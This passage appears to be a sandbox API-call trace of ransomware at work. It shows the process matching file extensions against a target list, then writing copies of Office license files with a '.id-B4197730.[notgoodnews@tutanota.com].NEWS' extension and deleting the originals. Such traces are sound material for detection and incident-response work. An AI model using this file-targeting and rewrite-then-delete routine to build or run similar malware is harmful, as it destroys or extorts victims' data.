(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.790] lstrlenW (lpString=".dbf") returned 4 [0189.790] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.790] lstrlenW (lpString=".1cd") returned 4 [0189.790] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.790] lstrlenW (lpString=".jpg") returned 4 [0189.790] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.791] lstrlenW (lpString=".doc") returned 4 [0189.791] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.791] lstrlenW (lpString=".docx") returned 5 [0189.791] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.791] lstrlenW (lpString=".pdf") returned 4 [0189.791] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.791] lstrlenW (lpString=".xls") returned 4 [0189.791] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.791] lstrlenW (lpString=".xlsx") returned 5 [0189.791] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.791] lstrlenW (lpString=".ppt") returned 4 [0189.791] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.791] lstrlenW (lpString=".zip") returned 4 [0189.791] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.791] lstrlenW (lpString=".rar") returned 4 [0189.791] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.791] lstrlenW (lpString=".bz2") returned 4 [0189.791] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.791] lstrlenW (lpString=".7z") returned 3 [0189.791] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.791] lstrlenW (lpString=".dbf") returned 4 [0189.791] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.791] lstrlenW (lpString=".1cd") returned 4 [0189.791] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0189.791] lstrlenW (lpString=".jpg") returned 4 [0189.791] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.792] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.792] lstrlenW (lpString="MondoR_SubTest2-ppd.xrm-ms") returned 26 [0189.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.793] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=26525) returned 1 [0189.793] CloseHandle (hObject=0x2e4) returned 1 [0189.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 0x220 [0189.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.794] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.794] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.796] GetLastError () returned 0x0 [0189.796] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x679d, lpOverlapped=0x0) returned 1 [0189.799] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0189.802] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.802] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x108, lpOverlapped=0x0) returned 1 [0189.802] SetEndOfFile (hFile=0x4f4) returned 1 [0189.802] CloseHandle (hObject=0x4f4) returned 1 [0189.802] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.802] SetEndOfFile (hFile=0x2e4) returned 1 [0189.807] CloseHandle (hObject=0x2e4) returned 1 [0189.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 1 [0189.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.809] lstrlenW (lpString=".doc") returned 4 [0189.809] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.809] lstrlenW (lpString=".docx") returned 5 [0189.809] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.809] lstrlenW (lpString=".pdf") returned 4 [0189.809] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.809] lstrlenW (lpString=".xls") returned 4 [0189.809] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.809] lstrlenW (lpString=".xlsx") returned 5 [0189.809] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.809] lstrlenW (lpString=".ppt") returned 4 [0189.809] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.809] lstrlenW (lpString=".zip") returned 4 [0189.809] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.809] lstrlenW (lpString=".rar") returned 4 [0189.809] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.809] lstrlenW (lpString=".bz2") returned 4 [0189.809] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.809] lstrlenW (lpString=".7z") returned 3 [0189.809] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.809] lstrlenW (lpString=".dbf") returned 4 [0189.810] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.810] lstrlenW (lpString=".1cd") returned 4 [0189.810] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.810] lstrlenW (lpString=".jpg") returned 4 [0189.810] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.810] lstrlenW (lpString=".doc") returned 4 [0189.810] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.810] lstrlenW (lpString=".docx") returned 5 [0189.810] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.810] lstrlenW (lpString=".pdf") returned 4 [0189.810] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.810] lstrlenW (lpString=".xls") returned 4 [0189.810] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.810] lstrlenW (lpString=".xlsx") returned 5 [0189.810] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.810] lstrlenW (lpString=".ppt") returned 4 [0189.810] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.810] lstrlenW (lpString=".zip") returned 4 [0189.810] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.810] lstrlenW (lpString=".rar") returned 4 [0189.810] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.810] lstrlenW (lpString=".bz2") returned 4 [0189.810] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.811] lstrlenW (lpString=".7z") returned 3 [0189.811] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.811] lstrlenW (lpString=".dbf") returned 4 [0189.811] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.811] lstrlenW (lpString=".1cd") returned 4 [0189.811] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0189.811] lstrlenW (lpString=".jpg") returned 4 [0189.811] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.811] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.811] lstrlenW (lpString="MondoR_SubTest2-ul-oob.xrm-ms") returned 29 [0189.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.812] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11595) returned 1 [0189.812] CloseHandle (hObject=0x2e4) returned 1 [0189.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 0x220 [0189.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.813] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.813] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.814] GetLastError () returned 0x0 [0189.814] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2d4b, lpOverlapped=0x0) returned 1 [0189.816] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0189.818] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.818] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x10e, lpOverlapped=0x0) returned 1 [0189.818] SetEndOfFile (hFile=0x4f4) returned 1 [0189.818] CloseHandle (hObject=0x4f4) returned 1 [0189.818] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.818] SetEndOfFile (hFile=0x2e4) returned 1 [0189.822] CloseHandle (hObject=0x2e4) returned 1 [0189.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 1 [0189.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.823] lstrlenW (lpString=".doc") returned 4 [0189.823] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.824] lstrlenW (lpString=".docx") returned 5 [0189.824] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.824] lstrlenW (lpString=".pdf") returned 4 [0189.824] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.824] lstrlenW (lpString=".xls") returned 4 [0189.824] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.824] lstrlenW (lpString=".xlsx") returned 5 [0189.824] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.824] lstrlenW (lpString=".ppt") returned 4 [0189.824] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.824] lstrlenW (lpString=".zip") returned 4 [0189.824] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.824] lstrlenW (lpString=".rar") returned 4 [0189.824] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.824] lstrlenW (lpString=".bz2") returned 4 [0189.824] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.824] lstrlenW (lpString=".7z") returned 3 [0189.824] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.824] lstrlenW (lpString=".dbf") returned 4 [0189.824] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.824] lstrlenW (lpString=".1cd") returned 4 [0189.824] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.825] lstrlenW (lpString=".jpg") returned 4 [0189.825] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.825] lstrlenW (lpString=".doc") returned 4 [0189.825] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.825] lstrlenW (lpString=".docx") returned 5 [0189.825] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.825] lstrlenW (lpString=".pdf") returned 4 [0189.825] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.825] lstrlenW (lpString=".xls") returned 4 [0189.825] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.825] lstrlenW (lpString=".xlsx") returned 5 [0189.825] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.825] lstrlenW (lpString=".ppt") returned 4 [0189.825] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.825] lstrlenW (lpString=".zip") returned 4 [0189.825] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.825] lstrlenW (lpString=".rar") returned 4 [0189.825] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.825] lstrlenW (lpString=".bz2") returned 4 [0189.825] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.825] lstrlenW (lpString=".7z") returned 3 [0189.825] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.826] lstrlenW (lpString=".dbf") returned 4 [0189.826] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.826] lstrlenW (lpString=".1cd") returned 4 [0189.826] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0189.826] lstrlenW (lpString=".jpg") returned 4 [0189.826] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.826] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.826] lstrlenW (lpString="MondoR_SubTrial-pl.xrm-ms") returned 25 [0189.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.827] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11151) returned 1 [0189.827] CloseHandle (hObject=0x2e4) returned 1 [0189.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 0x220 [0189.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0189.828] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.828] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0189.829] GetLastError () returned 0x0 [0189.829] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0189.994] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0189.996] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.996] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x106, lpOverlapped=0x0) returned 1 [0189.996] SetEndOfFile (hFile=0x4f4) returned 1 [0189.996] CloseHandle (hObject=0x4f4) returned 1 [0189.996] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.996] SetEndOfFile (hFile=0x2e4) returned 1 [0189.999] CloseHandle (hObject=0x2e4) returned 1 [0189.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0190.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 1 [0190.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.271] lstrlenW (lpString=".doc") returned 4 [0190.271] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.271] lstrlenW (lpString=".docx") returned 5 [0190.271] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.271] lstrlenW (lpString=".pdf") returned 4 [0190.271] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.271] lstrlenW (lpString=".xls") returned 4 [0190.271] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.271] lstrlenW (lpString=".xlsx") returned 5 [0190.271] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.271] lstrlenW (lpString=".ppt") returned 4 [0190.271] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0190.271] lstrlenW 